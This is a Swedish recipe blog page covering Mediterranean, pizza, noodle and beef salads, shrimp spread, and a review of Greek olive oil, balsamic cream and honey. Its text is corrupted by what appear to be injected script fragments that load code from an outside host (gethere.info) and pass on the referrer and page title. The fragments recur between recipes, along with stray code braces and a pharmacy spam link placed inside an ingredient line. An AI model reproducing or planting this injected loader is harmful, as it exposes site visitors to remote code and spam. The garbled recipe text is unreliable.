Medelhavsinspirerad sallad

Receptet på den här salladen hittade jag på facebook hos ”Marianns LCHF mat & bak”. Salladen är helt underbart god och passar perfekt till grillat.

Ni hittar hennes blogg här.

946883_10151555595405959_1720363318_n

4 portioner
Ingredienser:
1 påse ruccola
150 g fetaost
1 dl grekisk yoghurt
1 dl creme fraiche
1/2 dl majonnäs olivolja,  en rejäl skvätt
1 ask minitomater
1 grovt hackad rödlök
1 skalad och tärnad zucchini
1 liten burk svarta oliver (skippa oliverna om du inte gillar oliver)
Oregano

Gör så här:
1. Blanda majonnäs, yoghurt,creme fraiche och finfördelad fetaost, strö lite
oregano och rejält med olivolja över och blanda runt.
2. Dela tomaterna och  lägg dem i en skål tillsammans med alla andra ingredienser, strö oregano över.
Blanda.
3. Fördela fetakrämen över och blanda försiktigt runt.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Pizzasallad

Den här pizzasalladen smakar precis som på pizzerian.

Ingredienser:
1 dl rapsolja
1 dl salladsvinäger (distilled vinegar från den asiatiska affären är godast att använda).
0,5 dl vatten
0,5 dl strösocker
0,5 tsk https://www.acheterviagrafr24.com/prix-du-viagra/ salt
1/2 medelstort vitkålshuvud
mellanmalen svartpeppar

Tillagning:
Strimla vitkålen så fint som möjligt. Koka samman olja, vinäger, vatten, salt och socker. Häll vätskan över salladen och smaksätt med grovmalen svartpeppar. Låt stå i kylskåp ett tag innan servering.

Asiatisk nudelsallad

IMG_5884

Nudelsallad
1 salladshuvud (isbergssallad) eller blandsallad
6-7 salladslök (skivade i ca 5 mm bitar)
100 gram rostade mandlar utan skal (kan uteslutas om ni vill)
100 gram friterade nudlar (köper mina i en Asiatisk affär)

Dressing:
1/4 cup Vit vinäger (rekommenderar att ni köper den som finns i de Asiatiska affärerna)
1/4 cup strösocker
1 tblsp soja sås
2 tsp sesam olja (kan uteslutas om ni inte tycker om sesam olja)
1/2 cup olivoja utan smak

Mixa ihop alla ingredienser till dressingen i en skål, rör om ordentligt .
Blanda ihop salladen, salladslöken och ev. mandel i en salladsskål. Häll över dressingen och blanda ordentligt.
Precis innan ni serverar salladen, lägg i nudlarna  och rör om. Om ni lägger i nudlarna för tidigt, kommer de bli mjuka och då får ni inte den goda ”crunchy” effekten på salladen. Vinägern jag använder är destillerad vinäger som går att köpa i välsorterade matbutiker som tex Ica Focus. Nudlarna hittar jag endast i den asiatiska affären utanför Nordstan. Försök hitta liknande för det blir inte samma effekt om ni tar andra nudlar. Skicka gärna kommentarer om vad ni tycker om salladen.

Isbergssallad salladslok-125g-klass1-1

IMG_0033IMG_0034IMG_0036IMG_0035

 

IMG_5884

Ella come to real food – Product from Greece

bildC Nu har jag provat en fantastiskt god olivolja, balsamic Cream och honung av märket ”Ella” . Varumärket Ella kommer från Grekland och erbjuder utvalda exklusiva produkter av högsta kvalitet. I produktsamlingen finner du olivolja, balsamic crème, honung och marmelader. Flaskorna och burkarna har superfin design och det märks att det är kvalitetsprodukter. Ella Det finns en sida på fb som ni kan gå in och gilla för mer information om produkterna. Ni hittar sidan här.

Nedan ser ni vilka produkter jag provsmakat och kan rekommendera till er matlagning, sallader och bakning.

Premium Extra Virgin Olive Oil Olivoljan är gjord på uteslutande manakioliver. Detta har resulterat i en extra fin ekologisk jungfruolja som kallpressats ur manakioliven samma dag som oliverna handskördats – detta för att bevara doft och näringsinnehåll. Manakioliven är en ovanlig sort som hittas i peleponnesosregionen. Den här underbara olivoljan finns förpackad på 200 ml flaska och 500ml flaska. bildg Manaki peloponissos-map Organic Balsamic Cream (Ekologisk balsamic Cream) Ella’s Balsamic Cream är en blandning av söt lokalproducerad vinäger och den grekiska specialiteten petimezi – en tjock druvsirap som när den kokas med vinägern förvandlas till en sammetslen, mörk kräm. Både petimezin och vinägern tillverkas av druvor som odlas och handplockas i den lilla staden Nemea – hem för många sagor i den grekiska mytologin. Den här produkten innehåller inte mjöl eller andra tillsatser.
Perfekt som smaksättning i salladen, på köttet, dina grönsaker eller till ostbrickan.
bildd
NemeaMap030708 Organic Thyme Honey (Ekologisk Timjanhonung) Bina som producerar Ella’s timjanhonung lever sina liv i anslutning till stora timjanfält. Resultatet har blivit en ekologisk smakexplosion som uppskattas av många världen över. ”Underbart len. Som sirap”  har varit en återkommande kommentar. Den här honungen blir perfekt till bla ugnsbakade rödbetor med chevre och pinjenötter tillsammasn med balsamic Cream.  Recept på ugnsbakade rödbetor hittar du här. bildf Om ni vill komma i kontakt med företaget ”Ella”  så finns kontaktuppgifterna här. bilda bildBB I februari har ”Ella” ett  fint öppningserbjudande i webbshoppen som ni hittar här. BILDAA Det behövs inte så mycket mer än en god sallad och häll på lite olivolja toppat med balsamic Cream = en härlig sallad som smakar underbart….ibland är det enkla det godaste! bildb bildC    s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Krämade räkor

Förra helgen gjorde jag krämade räkor och det smakade underbart gott. Receptet hittade jag här.
Jag valde att servera dessa i minicrustader. Om du inte hinner göra din egna aioli så kan du köpa en färdig aioli i butiken. Kör du Paleo kan du ta bort Västerbottenosten och ersätta rapsolja med mild olivolja och servera räkröran på ett salladsblad. De andra tilltuggen ni ser på brickan är avokadoröra.

bild2

Krämade räkor
1 msk hackad gräslök
1 msk hackad dill
50 g riven Västerbottensost
1 citron
1 lime
1 sats aioli
200 g handskalade räkor

Aioli
1 äggula
2 dl rapsolja
½ lime
1 vitlöksklyfta (pressad)
2 krm salt

Gör såhär
Krämade räkor : Blanda ihop gräslök, dill, ost och zest (fint rivet skal från citron och lime) i en bunke. Tillsätt aiolin och blanda ihop med en slev. Blanda antingen ihop räkorna och röran och servera på hemgjord kavring, eller använd röran som garnering på snyggt upplagda räkor direkt på kavringen. (Det går självklart bra med annat grovt bröd.)

Aioli: Vispa upp äggulan och tillsätt hälften av oljan, 1 tsk åt gången, för att den inte ska spricka (viktigt att ta det försiktigt i början). Pressa i lime, vitlök och salt. Vispa sedan försiktigt ner resten av oljan.

bild1

Avokadoröra
1 avokado
1 pressad vitlöksklyfta
Lite pressad lime
2 dl minifraiche
Lite salt och vitpeppar

Gör så här:
Mixa alla ingredienser i en bunke och låt stå i kylen tills servering.

 

 

Sommarsallad med ruccola, färskpotatis och blancherade grönsaker

Här kommer ett recept på en supergod sallad med färspotatis och blancherade grönsaker.

Ruccolasallad
Färskpotatis
Suger snaps
Morötter
Groddar
Soltorkade tomater
Cherry tomater

Dressing:
0,5 dl  Rapsolja
2 msk Vit balsamvinäger
2 msk Västervikssenap
Lite pressad citron
Salt
Peppar

Koka upp vatten med salt och blanchera suger snaps och morötter i ca 2 minuter. Spola av med kallt vatten. Skär sedan upp grönsakerna på snedden och lägg i en skål. Koka färskpotatis  och låt kallna. Skär dem i mindre skivor. Lägg i resten av grönsakerna och häll på dressingen.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Sesam peanut noodles

bild2

Det här goda receptet hittade jag på Nigella Lawson’s hemsida.

Ingredients:
1 tablespoon sesame oil
1 tablespoon garlig infused olive oil (går lika bra att använda oliv olja och en krossad vitlöksklyfta)
1 tablespoon soy sauce
2 tablespoons sweet chilli sauce
100 grams smooth peanut butter
2 tablespoons lime juice

For the sallad:
125 grams mangetout (sockerärtor)
150 grams beansprouts (rinsed) (böngroddar)
1 red pepper (deseeded and cut into small stripes) Jag använde en röd paprika då jag inte är så förtjust i en chilipeppar
2 spring onions (finely sliced) (salladslök)
550 grams egg noodles
20 grams sesame seeds
4 tablespoons chopped fresh coriander

Method

  1. Whisk together all the dressing ingredients in a bowl or jug.
  2. Put the mangetout, beansprouts, red pepper strips, sliced spring onions and the noodles into a bowl.
  3. Pour the dressing over them and mix thoroughly to coat everything well.
  4. Sprinkle with the sesame seeds and chopped coriander and pack up as needed

bild4bild1bild2bild3bild5bild6bild7bild6bild8bild9bild10bild11Bild12bild13bild14

bild15bild16bild17bild18bild19bild20bild2s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Perfekt Nudelsallad till sommarens grillstunder.

Nu kommer jag dela med mig av en utsökt, näst intill beroendeframkallande god sallad som är bland det godaste jag känner till.  Den är en favorit bland mina kompisar när jag har middagar. Gör mkt av den här salladen för den kommer garanterat att gå åt. Hemligheten är den goda dressingen tillsammans med ”crunchy noodles”.
Notera att måtten är i engelska cup.

Nudelsallad
1 salladshuvud (isbergssallad) eller blandsallad
6-7 salladslök (skivade i ca 5 mm bitar)
100 gram rostade mandlar utan skal (kan uteslutas om ni vill)
100 gram friterade nudlar (köper mina i en Asiatisk affär)

Dressing:
1/4 cup Vit vinäger (rekommenderar att ni köper den som finns i de Asiatiska affärerna)
1/4 cup strösocker
1 tblsp soja sås
2 tsp sesam olja (kan uteslutas om ni inte tycker om sesam olja)
1/2 cup olivoja utan smak

Mixa ihop alla ingredienser till dressingen i en skål, rör om ordentligt .
Blanda ihop salladen, salladslöken och ev. mandel i en salladsskål. Häll över dressingen och blanda ordentligt.
Precis innan ni serverar salladen, lägg i nudlarna  och rör om. Om ni lägger i nudlarna för tidigt, kommer de bli mjuka och då får ni inte den goda ”crunchy” effekten på salladen. Vinägern jag använder är destillerad vinäger som går att köpa i välsorterade matbutiker som tex Ica Focus. Nudlarna hittar jag endast i den asiatiska affären utanför Nordstan. Försök hitta liknande för det blir inte samma effekt om ni tar andra nudlar. Skicka gärna kommentarer om vad ni tycker om salladen.

I den här affären köper jag nudlarna som ni ser nedan. Den ligger mitt emot Nordstan granne med Andrum.

 

 

 } else {

Grönsallad med glasnudlar och sweet chili sås

Den här glasnudelsalladen tröttnar jag aldrig på och passar till både kött och fisk.

Salladen på bilden har jag gjort enlig följande recept:

Isbergssallad
Gurka
Salladslök
Kokta kalla glasnudlar /eller fitnessnudlar
Sweet chili sås

Koka nudlarna, låt kallna. Blanda ihop salladen och lägg i nudlarna. Häll på sweet chili sås. För er som vill göra en sweet chilidressing kan läsa receptet nedan:

Ingredienser
6 chilifrukter
6 vitlöksklyftor
1/2 burk honung (à 350 gram)
4 msk vitvinsvinäger

Gör så här:

  1. Finhacka chili och vitlök. Värm honungen försiktigt tillsammans med hacket.
  2. Slå på vinägern och låt svalna.
  3. Häll på flaska.

}

Krämig sallad av nötkött

bild (168)
450 gram entrecote
2 tsk olja
Salt och peppar
1 mellanstor gul lök  (finhackad)
225 gram champinjoner (skär upp dem i tunna skivor)
1 tsk fransk senap
1-2 tsk timjan
2 dl creme fraiche
1 tsk citronsaft
Gör så här: Skiva köttet i små bitar/strimlor och stek upp kötten i oljan. Häll över köttet i en skål och krydda med salt och peppar. Hetta upp pannan igen och stek upp lök och champinjoner  i några minuter. Häll i senap och timjan och stek i någon minut. Häll över köttet och låt svalna i kylskåp.
Vid servering: Blanda i creme fraiche och citronsaft och krydda lite med grovmalen svartpeppar. Lägg köttsalladen på en bädd av salladsblad. Servera med ett gott bröd.
bild (161)bild (163)bild (143)bild (162)bild (153)bild (165)bild (164)bild (159)
bild (96)bild (155)bild (157)
bild (101)bild (99)